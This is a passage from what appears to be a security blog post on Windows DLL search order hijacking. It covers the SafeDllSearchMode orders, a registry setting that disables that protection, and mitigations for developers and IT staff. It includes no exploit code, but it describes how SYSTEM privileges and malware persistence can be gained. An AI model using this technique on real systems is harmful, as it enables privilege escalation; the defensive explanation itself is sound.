  3. 16-bit System directory (C:\Windows\System)
  4. Windows directory (C:\Windows)
  5. The current working directory (CWD)             [ removed ]
  6. Directories in the PATH environment variable (system then user)

If this parameter is NULL, the function restores the default search order.

Safe DLL search mode [4] is enabled by default. To disable this feature we can create a DWORD name SafeDllSearchMode with value 0

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager]

If SafeDllSearchMode is enabled, the search order is as follows:

  1. The directory from which the application loaded
  2. 32-bit System directory (C:\Windows\System32)
  3. 16-bit System directory (C:\Windows\System)
  4. Windows directory (C:\Windows)
  5. The current working directory (CWD)           
  6. Directories in the PATH environment variable (system then user)

If SafeDllSearchMode is disabled, the search order is as follows:

  1. The directory from which the application loaded
  2. The current working directory (CWD)                   [ moved up the list ]
  3. 32-bit System directory (C:\Windows\System32)
  4. 16-bit System directory (C:\Windows\System)
  5. Windows directory (C:\Windows)   
  6. Directories in the PATH environment variable (system then user)

Calling the SetDllDirectory(“”) or SetDllDirectory(“C:\\program files\\MyApp\\”) disables SafeDllSearchMode and uses the search order described for SetDllDirectory.

LoadLibraryEx function [5] takes another argument where a flag can be set to change the search order but I didnt get round to test it.

Mitigation for developers
For software developers there are a number of actions they can take

  • Use SetEnvironmentVariable(TEXT(“PATH”),NULL) API which removes the path environment variable from its search order
  • Change default installation folder to C:\Program Files
  • Use fully qualified path when loading DLLs, i.e. LoadLibrary(“C:\\program files\\MyApp\\mylibrary.dll”);
  • Use SetDllDirectory(“”) API removing the current working directory from the search order

Mitigation for IT professionals
For IT support professionals there are also a number of actions that can be taken

  • When packaging and deploying software via deployment tools such as Marimba, Landesk, etc. or manually  installing software change the installation folder to C:\Program Files
  • If software needs to be installed on the root check there are no binaries needing SYSTEM privileges
  • If SYSTEM privileges are required then change the ACL’s of the folder
  • Remove the path entry from the SYSTEM path variable if not needed

This post shows us how easily elevated privileges can be achieved with very little effort. Ultimately the solution is simple by just making sure all software gets installed in the C:\Program Files folder which will then inherent it’s more secure folder permissions. Malware could take advantage of this weakness not only to obtain system privileges but also to automatically load its malware making it that much harder to pinpoint its auto start entry points.


[1] http://msdn.microsoft.com/en-us/library/windows/desktop/ff919712(v=vs.85).aspx
[2] http://support.microsoft.com/kb/2264107
[3] http://msdn.microsoft.com/en-us/library/ms686203%28v=vs.85%29.aspx
[4] http://msdn.microsoft.com/en-us/library/ms682586%28v=vs.85%29.aspx
[5] http://msdn.microsoft.com/en-us/library/ms684179%28v=vs.85%29.aspx